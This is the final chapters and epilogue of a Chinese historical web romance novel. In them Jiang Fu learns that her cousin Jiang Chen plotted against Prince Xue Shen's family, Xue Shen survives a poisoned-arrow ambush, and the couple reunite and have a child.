这次明知是陷阱,他也要走一圈。
各怀心思的几人这夜睡得都不大好,姜芙恶梦连连,天蒙蒙亮便转醒,吩咐婉儿收拾包袱,再过半个时辰便上路。
婉儿眼皮一直在跳,不安问道:“小姐,要不咱们还是别去了?”
姜芙:“为何?”
婉儿:“奴婢怕其中有诈。”
“你不是说过表兄不会害我吗?”
“话虽如此,但世事难料,万一……”她贝齿咬咬唇,“小姐,咱们还是别去了。”
姜芙轻拍她手背,“不若你留下照看
生意。”
“奴婢不要。”婉儿屈膝跪地,“奴婢誓死追随小姐。”
一盏茶后,两人出了府,一眼看到了候在外面的马车,婉儿搀扶着姜芙上去,随即也跟着走了进去,待看清眼前人影后着实愣住。
“王爷?”婉儿脱口而出。
姜芙道:“你为何会再此?”
薛慎:“陪你回离城。”
“你怎么知晓我要回离城?”姜芙蹙眉,“你在我府中安插了眼线?”
“我只是放心不下你的安危,并无他意。”薛慎温声道,“芙儿,我绝无害你之心。”
“既如此,那停车,我要下去。”姜芙道。
“江宸被我的人拦住,一时半会儿过不来。”薛慎道,“让我陪同你一起,可好?”
姜芙:“不好。”
薛慎睨着她,“那只能委屈芙儿了。”
言罢,婉儿被小九拉出马车上了另一辆,姜芙同薛慎乘坐一辆。
马车疾驰驶出,朝离城的方向奔去。
姜芙不想理薛慎,是以后面的行程看都未看他一眼,薛慎也不恼,唇角淡挑,托腮瞧了她一路。
姜芙被他看烦,侧转身子去看外面,半晌后见他依然盯着她瞧,眉头紧锁,“你若再看,我便要下车。”
见薛慎不信,她真的直起身,欲掀帘下车。
薛慎扣住她的手腕,把她拉回来,轻哄,“好,我不看。”
嘴上说着不看,眼神却未曾动分毫。
“那你还看。”姜芙气不过,抬脚踩上他的黑靴,她用了八分力,一般人早嗷嗷乱叫起来,可薛慎没有,他唇角扬起,满脸堆笑,温声唤道:“芙儿。”
三年来,这幕唯有在梦中出现过,他一直以为这辈子都会在痛苦中挣扎,岂料老天待他不薄,让她没死。
“芙儿,我们以后好好的,可以吗?”他轻哄。
姜芙只当他在说醉话,“你是你,我是我,谁要跟你好好的。”
“芙儿,我心悦你。”薛慎突然表白,“爱不知所起一往情深。”
姜芙抽出手,轻揉,“可我不喜欢你。”
薛慎脸上笑意僵住,笑的有些牵强,“不喜欢我,那就是喜欢江宸。”
忽的,他再次把她拉近,“明知他害过你,你还喜欢他,他就那么好吗?”
咫尺的距离,呼吸交融到一起,姜芙长睫轻颤,“是,他很好。”
“比你好一千一万倍。”
薛慎闻言,心底浮现痛意,本就微红的眸变得越发猩红,“哪怕他杀过你?”
姜芙:“是,哪怕他杀过我。”
薛慎:“……”
耳边有风声传来,似乎在嘲笑他的痴情,纷涌的血腥味充斥在喉咙间,恍惚的,脑海中响起一道惊雷。
劈得他全身战栗不已,下一瞬,大脑一片空白,做了长久以来一直想做的事。
扣住姜芙的后颈,吻上了她的唇,勾缠住她的舌尖,让她避无可避。
薛慎知晓她会生气,可此时的他被嫉妒掩埋,什么都不管不顾了,本能的攻城略地。
“芙儿,你是我的,是我的。”
姜芙见挣脱不开,张嘴咬上他的舌尖,几乎用尽了全身的力道,不想好是吗?
可以,她奉陪。
血腥味灌满口中,许久后她才停下,染了血的唇瓣在光影的照射下格外刺目。
“薛慎,我不是当年的姜芙,你若再敢冒犯我,我会和你拼命。”
痛楚自舌尖蔓延到全身,似乎哪里都痛,薛慎掀眸注视她,若是可以,他真想把她吞入腹中,这样她便只属于他一个人了。
“啪”姜芙给了薛慎一巴掌,咬牙切齿道:“最后一次。”
随即,她又道:“停车。”
车夫自然不敢停。
姜芙:“你若不停我便跳下去。”
车夫后头看了眼薛慎,薛慎淡声道:“停车。”
马车停下,姜芙从马车上走下来,上了后方的马车。
几人一看便知发生了什么,谁都不敢乱讲,婉儿瞪了小八小九一眼,“还不滚。”
小八小九从马车上下来,换姜芙上去,之后,前面主仆三人,后面主仆两人。
婉儿拿出帕子给姜芙擦拭唇瓣,“小姐,你这是怎么弄的?”
姜芙:“被狗咬的。”
婉儿憋住笑,“小姐没把那只狗打死吗?”
姜芙:“……”
“好久不见小姐这般动怒了,还是那人厉害。”婉儿戏谑道。
“再贫嘴你也下去。”姜芙佯装生气。
“好啦,奴婢不讲便是了。”婉儿把参汤递上,“这是王爷命小九他们准备的,说给小姐喝。”
姜芙也确实有些饿了,接过碗盏,慢条斯理喝下,味道还不错。
婉儿道:“听说这是王爷亲手熬的,小姐觉得味道可还好?”
“不好。”姜芙把碗还回去,“日后这样的东西不许收。”
婉儿:“是。”
前方马车上静悄悄的,小九试探道:“王爷。”
薛慎轻嗯一声。
“您还好吧?”
“死不了。”
小八把续命的灵丹给薛慎服下,“王爷一路劳累,还是歇息会儿吧。”
从堰都赶到凤凰山,又从凤凰山赶去离城,加之路上同姜芙斗智斗勇,常人都会累,跟何况是身子抱恙的薛慎。
“江宸呢?”
“被咱们的人拦住,怎么也得后两日才能追上。”
“两日太快,再让他迟些跟上来。”
“是。”小八领了命令去办差,留下小九咬着枯枝乱想。
“王爷,属下看王妃还气着,王爷得赶快像个法子把人哄好。”王妃心情不好,他同婉儿也……
“你是为我急,还是为你自己?”薛慎突然问道。
“嗯?”小九嘿笑一声,“王爷知晓属下在想什么?”
“你能想什么,”薛慎道,“还不是在想婉儿。”
“既然王爷知晓属下的心思,更应该快点同王妃和好才是。”小九啧啧道,“属下已经好久没同婉儿好好讲话了。”
这三年,他也一直想着婉儿,本以为此生会孤独度过,谁知不是。
“你就那么喜欢婉儿?”
“王爷不也是那般喜欢王妃么。”
“若用你的命换婉儿的命,你可愿意?”
“愿意。”小九毫不迟疑道,“只要能让婉儿好,我死不足惜。”
又是一个痴情郎。
薛慎道:“好,记住你今日的话。”
“停车。”他道。
车夫勒停马儿,薛慎从马车上下来,去了后方的马车,“芙儿,咱们来做笔交易吧。”
姜芙:“什么交易?”
“我把事情告知你,你我同乘一辆马车。”
“就这个?”
“是。”
姜芙抿抿唇,“好。”
薛慎上了马车,婉儿被赶了下来,去了前方的马车,小九见状笑的眼睛都没了,“婉儿。”
婉儿翻了翻白眼,“还不快扶我上去。”
“哦,好。”小九伸手把婉儿拉上马车,两人齐齐到车里坐着。
只是看着对方,谁都没说话。
姜芙同薛慎倒是有很多话讲,“说吧,真相是什么?”
“我给你讲个故事。”薛慎记忆被拉扯开,思绪回到了多年前。
“还记得那年初遇吗?我说我是回乡省亲,实则不是,我是在避难,路上染了风寒昏倒在路边,那几个人见我衣着华丽,想从我身上找到些值钱的东西,你恰巧路过救了我,后来我们又在睿王府巧遇。”
“有件事我一直未曾告知你,我并非睿王亲子,我父母另有其人。”
姜芙大惊。
“只是那时弹劾的奏折铺天盖地,父母为了让我保命只能偷偷把我送出,至于睿王亲子,早在那年春日便夭折,不过对外一直瞒着此事。”
“睿王亲子自出生便体弱,长到八岁从未出过府,是以没人知晓他的长相,是以,我很容易便取代了他,睿
王说我是亲子,那我便是。”
“旁人认不出,可身为娘亲的睿王妃不可能认不出。”姜芙道,“你又如何能瞒过她?”
“勿需瞒。”薛慎道,“没了亲子最难捱的便是睿王妃,有我当现成的孩子,她何乐而不为。”
“这同我要知晓的事有何干系?”姜芙不解道。
“有干系。”薛慎道,“正因为我不是睿王之子才有了后面的事。”
“芙儿,你当真一点都记不得?”
“记不得。”姜芙道,“到底是何事?”
“我送你玉佩时曾言明不可离身。”薛慎道,“因为玉佩里藏着我家族的秘密,一旦被人知晓,便会万劫不复。”
“如此贵重的东西,你为何要给我?”
“我的真实身份被人查出,玉佩在我这里很不安全,故此,我只能给最信任的人。”
她便是他最信任的人。
“那你为何不告知我真相?”
“你要想活命,知道的越少越好。”
“可——”
姜芙还未问完心中疑惑,倏地,有箭直直射进来。
薛慎抽出腰间软剑,打掉箭矢,随后扣住姜芙的腰肢一起冲了出去。
铺天盖地的箭矢齐刷刷射过来,薛慎只得用身体护住姜芙,他低语:“我掩护你,你先逃。”
姜芙摇头,“不,我陪你。”
若是之前她这般讲,他一定会感动。
眼下却不行。
薛慎吻上姜芙的额头,“芙儿,答应我好好活着。”
随即,一把推远了她。
姜芙几个踉跄撞到后方的树上才停下,刚站起,便觉一阵天旋地转,再次跌倒在地上。
薛慎回眸间看到有人对着姜芙射出一箭,顾不得多想,他跳跃而至,挡在了她身前。
“噗”箭入胸口。
薛慎喷出一口血。
没给他喘息的机会,第二支第三支接踵而至。
太多的血从他口中、胸前溢出,再多的恨意在这个瞬间消弭,姜芙道:“薛慎,你别死,你别死。”
薛慎:“好,我不死。”
有脚步声徐徐而至,姜芙抬眸,同那人的视线撞上。
她眼眸微缩。
是江宸。
第四十四章 心碎还好你没死(结局中……
到此时姜芙才明白,此局是江宸所设,她问道:“为何?”
江宸停在她眼前,居高临下睨着她,声音不再是温润如玉,“因为他该死。”
若不是薛慎几次三番出现,他同姜芙早已在一起也说不定。
“表哥,你怎么会变成这般?”姜芙蹙眉道。
“不是我变成这般,而是我一直如此。”江宸,“只是你不曾了解真正的我罢了。”
“无妨,日后有的是时间了解。”
江宸示意属下的人带薛慎走,姜芙伸手拦住,“我不许你们动他。”
“阿芙,”江宸道,“听话。”
姜芙摇头,再次道:“薛慎是朝廷命官,你如此这般可想过后果?”
“朝廷命官又何妨?”江宸道,“只要他死了,谁又能耐我何?”
“你可曾想过江家众人,若是你执意如此,他们要如何,祖母要如何?”姜芙质问道。
“江家人的死活同我何干?”江宸面色阴戾,“少时他们把我抛下时可从未顾及过我是江家的孩子,至于祖母——”
江宸冷声道:“更该死。”
姜芙闻言只觉眼前的江宸甚是可怕,红唇微颤,“你你你为何会如此?”
“我说过了,我从来都是如此,是阿芙不曾了解真实的我。”江宸装了这些年也是累了,轻甩衣袖,“不过阿芙不要怕,我只对旁人这般,对你不会。”
他越如此讲,姜芙越不安,倾着身子后退,问出心中疑惑,“当年你是故意男扮女装接近我?”
江宸也没再隐瞒,“是。”
“目的是薛慎?”
“对。”
“薛慎的真实身份你早已知晓?”
“是。”
“真是你把我推下水的?”
“……”
“玉佩也是你拿走的?”
“是。”
姜芙:“为何?”
江宸:“薛慎的父母欲害我父母,把证据藏在了玉佩里,我苦寻许久得知薛慎把玉佩给了你,我也曾试探问你可否把玉佩送我,是你说不可,我只能出此下策。”
“你没想过我会死吗?”
“我不会让你死的。”江宸道,“我只要玉佩。”
姜芙吞咽下口水,“所以,是你杀了薛慎的父母。”
“应该说是你同我一起杀了他的父母。”江宸轻笑,“阿芙,我还要谢谢你帮我的忙,若不是你,我怎么会寻到薛慎还有他的亲生父母,又怎么会如此轻易把他们都杀了。”
“说到底这里面有一份你的功劳。”
姜芙从未想过真相是这般,她的无心之过反而害了薛慎和他的家人。
她记不得曾经的事,不断摇头,“不可能,不可能是我。”
“是你,就是你。”江宸道,“我的好阿芙。”
姜芙不愿再听,掩住双耳大叫:“不是我,不是我。”
下一瞬,她昏了过去。
姜芙陷入到了梦境中,那个灿烂的午后,薛慎从腰间取下玉佩给了她,要她妥善保管。
她信誓旦旦道:“放心,我一定护好。”
她带着玉佩回江北,明明可以坐马车,可那日却走的水路,突遇风浪船只打翻,她掉进了湖里。
快要窒息时有人救了她。
是江宸。
她似乎忘记了什么,跟着江宸回了离城,见到了老夫人,还有其他人。
浑浑噩噩月余,她记起了往事,当日便回了江北,可惜晚了一步,没见到娘亲最后一面。
梦中的她再次哭晕过去。
后面的事情她便都记得了,被人退婚,薛慎上门求娶,嫁入睿王府,送亲途中再次遇到江宸,之后三年书信往来。
她的所有心事都会诉说给江宸知晓。
她叫他表姐,殊不知他是男子,后来真相揭穿,她依然待他如旧,唤他表哥。
世上真心疼她的人不多,江宸算其中一个,她一直感恩同他的相遇,觉得是娘亲给她的馈赠。
殊不知都是阴谋。
她在毫不知情的情况下成了刽子手。
一切的一切得到解释,成亲后薛慎判若两人,大概也是因为知晓了她是杀害他家人的凶手,纵使不是她有心而为之,但她确实无意中成了帮凶。
只是姜芙不明白,为何薛慎没有杀了她?
姜芙醒来,眼泪灌满了双眸,胸口仿若压着巨石,她甚至想到了以死偿命。
须臾,她再次昏了过去。
醒来时,是十日后,她在姜府。
姜芙看着姜父,问道:“我为何会在这里?”
“你不在这里想在哪里?”姜父道,“莫不是病糊涂了?”
“病?”姜芙更是不解,“父亲何意?”
“你生病了你不知道吗?”姜父一概往日的蛮横,温声道,“你病了这几日可把为父吓坏了。”
“幸亏你醒来了,不然为父真要急死了。”
姜芙越听越糊涂,想起了什么,“婉儿呢?”
“婉儿在后面煎药。”姜父道,“你等着我把人给你找来。”
半晌后,婉儿端着汤碗走进来,“小姐。”
姜芙起身迎上,迫切问道:“他呢?如何了?”
婉儿朝门外看了眼,大声道:“小姐,你先把药喝了吧。”
挤挤眼。
姜芙明了,“好,给我。”
接过汤碗,她仰起头一饮而尽,守在门外的婆子见姜芙乖乖喝了汤药,点点头,满意离开。
姜芙朝外看了眼,压低声音,“薛慎呢?”
婉儿扶着姜芙坐下,低语道,“王爷没事。”
“可那日他明明——”
“小八赶来把王爷救走了。”
婉儿从袖中拿出信笺,“这是王爷差人送来的。”
姜芙接过,打开,低头去看。
是薛慎的字迹,寥寥数语,把那日发生的事大概讲了下,他被小八所救,
回了堰都,江宸趁乱逃了,为了安全,只得把她先送回姜府,等事情平息后他会再来寻她。
昔日的事不是她之过,他也从未真心怪过她。
望她莫要放在心上,好生照顾自己。
她好,他才能安好。
姜芙手指微颤,抬眸,“他当真没事?”
婉儿不敢隐瞒,摇摇头,“不太好。”
“哪里不好?”
“箭上有毒,中毒后王爷陷入昏迷,只能回堰都救治,七日才转醒,算是保住了一命,人是救活了,但身上的毒未解,能活多久并不知。”婉儿道,“不过小姐放心,王爷已经告诉老爷了,要他好好待小姐,若是老爷敢对小姐不好,王爷第一个不同意。”
“不行,我要去找他。”姜芙扔下信笺要出门,被婉儿拦住。
“小姐不可。”她道。
“为何?”
“那个坏人还没擒到,若是小姐出府给遇上了,要如何是好?”婉儿怕死了,“小姐听话,还是在府里乖乖待着吧。”
“他都要死了,我如何能待的下去?”薛慎是为了救她才命悬一线,更何况,灭门之祸也是因她而起,她百死不能赎罪,现下哪里还等的下去。
“我要去。”
“王爷命我守着小姐,若是小姐执意出去,那不如杀了奴婢吧。”
“婉儿。”姜芙道,“让开。”
婉儿:“奴婢不能让。”
争执时,有人来报,“小姐,老爷要您去大厅见客。”
姜芙顿住,“见谁?”
下人:“小姐去了便知晓。”
姜芙简单梳洗后去了大厅,是一陌生男子,后面她才知晓,是来相看的。
父亲属意她嫁给眼前的男子。
薛慎为了她快要死掉,她哪里有心思同旁人成亲,当即回了这门亲事。
姜父气的把她关进了房间,不许她出来。
姜芙再次被禁足,这一禁,足足一月。
她都要急死了。
好在,堰都那边送来消息,说薛慎毒解了,身子已无恙,她提着的心才缓缓放下。
……
消息是薛慎让人告知姜芙的,真实情况是,毒虽解,但中毒太深,体内还是有残留,若不及时解开,还是会有性命之忧。
太医都劝薛慎要静养,可他哪里静的住。
尤其是得知姜父竟然给姜芙寻了人家,不日便要完婚。
他彻底坐不住了,连夜乘车赶去了江北。
小八担心他身子,路上都未敢阖眼,小九同小八不一样,他心里还有些期盼,这下终于又能见到婉儿了。
小八看他笑的一脸陶醉,冷不丁给了他一脚,“王爷若是有闪失,你也别想活。”
“呸呸呸,王爷才不会有闪失。”小九道,“王爷会长命百岁。”
两人吵闹声很大,惊扰了薛慎,他从软榻上坐起,淡声道:“到哪了?”
小八:“再有两个时辰便会到江北。”
薛慎:“入城后先别去姜府。”
“为何?”小九问道。
“出来的急没买东西,先去买些东西。”薛慎道。
小九应下。
买东西的事交给了小八小九,薛慎在车里等着,胸口闷闷的,他掩唇轻咳一声,帕子上溢出血渍,怕被人看到,他擦拭干净唇角后便把帕子收了起来。
小九小八折返,十几个盒子放到了马车里,薛慎满意点点头。
江北天气多变,马车刚停在姜府门口便下起了瓢泼大雨。
薛慎从马车上下来,小八手里提着盒子,小八打着纸伞,敲了许久的门才有人出来。
冷声道:“今日老爷不见客,明日再来吧。”
薛慎:“烦请再通报一声,就说是堰都的客人。”
“什么堰都州都的说了不见客就是不见。”门房赶人道,“快走快走。”
小九见状欲上前理论,被薛慎眼神制止,“你家老爷不见客,那你家小姐呢?”
“哪里来的登徒子敢觊觎我家小姐。”门房道,“我家小姐也不见。”
推搡间,小八没忍住,打了门房,“想活命的话就再去通报,说堰都睿王爷来了。”
门房揉着腰走了进去。
这一等到了天黑。
雨停了,可风还在,吹得人瑟瑟发抖。
薛慎耐不住,双膝一软,跪到了地上。
小九道:“王爷。”
忽的,房门打开,有人大步而至。
薛慎慢慢抬起头,看着眼前纤细身影,唇角轻扬,温声道:
“芙儿。”
【全文完结】
第四十五章 别离开我(全文完结……
后来姜芙又辗转了解了些真相,彼时陛下还是太子,党派纷争不断,薛慎父母皆是太子一党,为了护住太子担下了失察之罪。
成王趁机弹劾,从陛下要了圣旨,圣意只是想把人关起来,谁知那夜发生了变故,除了薛慎外老弱妇孺皆丧命。
而成王所谓的证据便是出自玉佩中,也就是说,若是护好了玉佩,薛慎家族不会灭亡。
姜芙无心之过害了整个薛家,她懊悔至极,数次想用自己的命去偿还,被婉儿拦了下来。
“小姐并不知情,不是小姐的错。”婉儿道,“再者,若王爷真记恨小姐,便不会为了小姐连命都不要。”
话虽如此,但她确实做错了事,就该受到惩罚。
得知真相后的那日起,她日日都会上山祈福,祈祷薛家亡灵能早登极乐。
奔波了数日,乍见薛慎,姜芙的心还是不免狠狠抽了下,她甚至不知该用何态度去面对他。
“芙儿,你可安好?”薛慎问道。
姜芙收回游离的思绪,轻声应道:“我很好,你呢?伤怎么样了?”
“我——”薛慎抚上胸口,“还有些痛。”
说话间,他身子跟着晃了下。
姜芙上前扶住他,柔声:“小心。”
她看他的眼神关切,再也不是昔日那般的冰冷模样。
随即搀扶着他走了进去。
小八小九跟在后面,婉儿给他们使了个眼色,三个人离的稍微远了些,是以并没有听到他们在说什么。
薛慎问姜芙:“还住的惯吗?”
“自己家里有什么住不惯的。”姜芙道,“还好。”
薛慎又问:“还想不想回凤凰山?”
姜芙顿住,“我可以回去?”
“你若想的话,当然可以。”薛慎道。
姜芙点头,“嗯,想回。”
她说:“我想明日便走。”
“明日?”薛慎喉结慢滚,“好,那便明日。”
……
直到坐上马车,姜芙还有种身在梦中的感觉,她一时不敢相信就这么悄无声息的走了,数次盯着窗外看。
繁花落在她眸中,惊了她的心。
“你如此赶路真的可以吗?”姜芙担忧道。
“无妨。”薛慎回,“服了药,身子已无大碍。倒是你,怎么清瘦成这般模样了?”
姜芙日日被愧疚所扰,岂能不瘦。
“近日没什么胃口。”姜芙欲言又止,“当年的事——”
“当年的事不是你的错。”薛慎睨着她,眸光灼灼,“是我思虑不周,忘了顾及你的安危,致你坠湖失忆,若非要说谁错了,那是我。”
“不。”姜芙情绪上头,红着眸子道,“我当时若是护好了玉佩,便不会发生后面的事,你的家人也不会——”
“不是的。”薛慎拉过她的手,“最初我也是那般的想法,直到前几日我遇到了母亲生前的随侍嬷嬷才得知了真相,即便没有玉佩的事,我的家人也不可能安然活着,成王视我父母为眼中钉,早晚会痛下杀手。”
“那日不死,他日也会死。”这也是为何他被送出的缘由。
“可——”姜芙还想说,即便如此,还是我的错。
薛慎知晓她要讲什么,出声打断,“芙儿,你我蹉跎了数年,往后的日子我不想再同你分开,我们忘掉过去重新开始好不好?”
说开始谈何容易。
姜芙没说好,也没说不好,后面两人就那么不远不近的相处着。
……
值得
一提的是,江宸死了。
江宸死前来凤凰山见了姜芙,昔日温润如玉的男子再也不复存在,杀戮嗜血,他眼神里带着狠戾。
“你为何非要选他?”
“为何就不能看看我?”
“你可知,我所有的筹谋皆是为了你?”
姜芙反问道:“为了我?以我为饵引薛慎上钩,也是为了我?”
“掀翻我乘坐的船只,让我掉进湖中,险些溺亡也是为了我?”
“利用我的好心,靠近我,也是为了我?”
“游说我父亲,让他把我赶出府中,致使我走投无路只能投奔你,也是为了我?”
“让我身边的人一个个离我而去,也是为了我?”
姜芙眼眶泛红,“江宸,这桩桩件件到底是为了我还是为了你?”
“那是因为我心悦你,想一辈子同你在一起。”江宸道。
“心悦?”姜芙冷嗤,“你这般的心悦我不需要。”
江宸:“你真以为他是想同你在一起吗?你别忘了,你可是他的杀父仇人,谁又能说他对你不是利用。”
姜芙:“利用又如何,是我欠他的。”
两人的谈话不太欢愉,姜芙离开时只说了一句,“后会无期,再也不见。”
后来,他们真的再也没有见过。
姜芙再次得知江宸的消息实在两个月后,江宸死了,死无全尸,江府被抄没,银钱归国库。
那段日子,姜芙反复做着同一个梦,梦里,她被薛慎杀了。
醒来后,她说不出是解脱还是什么。
再后来,她便开始躲着薛慎,凤凰山说大不大,说小也不小,早出晚归,还真的没碰上。
婉儿看出了端倪,问道:“小姐,你干嘛躲着王爷呀?”
姜芙:“不是躲,是没脸见他。”
“王爷都说了,那件事同小姐无关。”婉儿道,“奴婢看得出,王爷是从心里没有怨恨小姐。”
“可就是我的过失。”姜芙过不了自己心里这关,“若不是我,他也不会孤身一人。”
“朝事纷争,即便没有那件事,还会有其他的事,小九都告诉我了,薛家的人注定会为朝局动荡殒身,这是他们的宿命。”
“婉儿,你信命吗?”
“奴婢信。”婉儿反问,“小姐呢?信吗?”
姜芙盯着一处发呆,“不知道。”
婉儿:“嗯?”
片刻后,姜芙道:“不过我想试着相信一次。”
她把写好的信笺给了婉儿,交代道:“你要亲手送给王爷。”
婉儿点头,“是。”
薛慎看完信后,脸色突变,“你家小姐呢?”
婉儿:“在府中。”
薛慎氅衣都顾不得穿,急匆匆出了门,他这身子是越发不好了,只是才跑了一小段路便气喘吁吁。
忍着难捱,他敲开了府门。
门房道:“爷。”
薛慎:“你家小姐呢?”
门房:“小姐走了。”
薛慎顿住,“有说去哪吗?”
门房:“没有。”
他又道:“小姐什么都没拿,也没婉儿姑娘跟着,应该就在附近。”
实则,不是。
姜芙把生意交给婉儿全权打理悄无声息走了,没人知晓她去哪里。
薛慎的人找了一次又一次,半年后听说姜芙出现在了衢州,这次薛慎亲自去衢州找的。
彼时,他身子弱到无法行走,小九劝说:“主子,您好生养着,属下去把王妃给您找回来。”
薛慎摇头,“她有心结,我去才行。”
“可主子您?”
“无碍,暂时死不了。”只是暂时。
小九还有劝说,被小八眼神制止,“那属下去安排。”
半个时辰后,三人出了城,直奔西边而去。
……
到了衢州寻了几日,无所获。
他们又去了附近的州县,专门去最热闹的茶楼打探,还真探听到了什么。
小九问:“主子,那人说的是王妃吗?”
听着像,又听着不像。
薛慎掩唇轻咳,“是。”
小九:“为何?”
薛慎:“直觉。”
薛慎真等来了直觉。
他佯装睡觉,在来人靠近时一把擒住她,顺势把人揽进了怀里,语重心长道:“芙儿,你好狠的心。”
姜芙微挣,“你身子不利落,快放开我。”
“既知晓我身子不利落,为何还要我寻这么久?”薛慎下巴抵她头顶上,轻叹道,“芙儿,我快要死了,你还要离我而去吗?”
死这个字一直是避讳,谁都不敢在薛慎面前提。
“谁说的。”姜芙道,“我不会让你死。”
她之所以离开凤凰山便是要为薛慎寻求解药,一日找不到,她便一日不回凤凰山。
好在……
姜芙坐起,从怀中拿出药瓶,取出一粒喂薛慎服下,又端来茶水给他喝,待他喝下后,她道:“你不问问是何药便服,不怕我害你吗?”
“不怕。”薛慎把她抱怀里,“我的芙儿不会害我。”
便是她要害他,他也无妨,左右不过是早死晚死,没差别。
“薛慎,你干嘛对我这么好?”姜芙吸吸鼻子,“你忘了,是我害的你家破人亡的?”
“不是你害的。”曾经的薛慎也一度认为是姜芙害的他家破人亡,是以那三年极尽所能的对她不好,现下他想明白了,便是没有她,他的族人也不会安生,应该说参与到夺嫡之争谁都不会安好。”
“芙儿,别离开我,好吗?”薛慎乞求道。
姜芙离开半年之久,薛慎日日后锥心之苦,他现在什么都不想,只想同她朝朝暮暮。
“别走,行吗?”他再次说道。
姜芙既然现身便没打算再走,回抱住他,点点头,“好,我不走。”
……
番外。
薛慎好了。
在服用了姜芙拿来的丹药后痊愈了。
康复后的睿王爷简直换了一个人,小九说他是粘人精,一刻看不到姜芙便不停追问:“王妃在哪?王妃在哪?王妃在哪?”
小九耳朵都听出茧子了,指着前方说:“王妃在那。”
薛慎大步迎上,随即敛了脸上笑意,佯装生气道:“你肚子这般大了,还乱跑。”
姜芙有了身孕,马上要临盆了,薛慎看她跟看眼珠子似的,恨不得把她绑身上。
姜芙含笑道:“我就是四处走走,无妨。”
“下次走走,记得叫我。”
“有婉儿陪着,没关系。”
“不行,得我陪着才好。”薛慎现下看谁都不放心,就得他自己来才行。
婉儿没大没小道:“王爷,这么多年可都是我在陪着小姐,怎么就不行了。”
“什么小姐,叫王妃。”薛慎沉声道。
“小姐还没同意嫁给王爷呢,才不是王妃。”
“孩子都要生了,哪里不同意。”薛慎问姜芙,“芙儿,你嫁不嫁我?”
这个话题都说八百遍了,姜芙笑笑,“再说吧。”
“不能再说。”薛慎哄她,“乖,说你嫁我,快说。”
姜芙拗不过,点头,“行行行,嫁你,可以了吧?”
薛慎不管还有旁人在,捧起姜芙的脸,吻上她的唇。
姜芙羞赧躲进他怀里,娇嗲道:“大家都看着呢。”
薛慎:“我亲我的王妃,谁敢说什么。”
……
夜里,姜芙肚子突然疼起来,好在稳婆等候在外,一切进行的还算顺利。
一个时辰后,诞下一子。
薛慎没顾上看孩子一眼,直奔床榻而去,抱住了姜芙。
“芙儿,辛苦了。”
全文完。